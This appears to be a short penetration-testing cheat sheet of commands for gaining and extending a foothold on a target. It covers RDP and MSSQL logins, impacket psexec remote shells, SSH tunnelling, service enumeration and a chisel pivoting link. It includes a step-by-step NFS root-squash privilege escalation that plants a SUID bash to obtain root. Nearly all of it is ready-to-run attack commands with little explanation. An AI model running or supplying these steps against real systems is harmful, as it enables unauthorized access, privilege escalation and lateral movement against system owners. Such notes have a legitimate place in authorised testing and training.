#
Foothold quickstart
#
rdp
xfreerdp /v:10.1.1.1 /u:user /p:password
#
mssql console (impacket)
python3 mssqlclient.py -port 27900 user:password@10.1.1.1
#
NFS with no rootsquashing diabled
- NFS Access
- Gain Low Privilege Shell
- Upload Bash Executable to the NFS share
sudo chown root bash && sudo chmod +s bash
Set SUID Permissions Through NFS Due To Misconfigured Root Squash `- Login through SSH
./bash -p
Execute SUID Bit Bash, -p preserves privileges- rooted
#
psexec.py (impacket)
python3 psexec.py administrator@10.1.1.1
#
Port Forwarding (chisel)
https://github.com/jpillora/chisel
#
Services
Enumerate services once foothold is established to see if there are any which aren't served to public
netstat -lepunt
ss -lepunt
#
ssh tunnel
forward a port on remote server to yours:
ssh -L 6379:localhost:6379 user@mydomainwhatever.net
ssh -L 6379:localhost:6379 user@mydomainwhatever.net -p 2222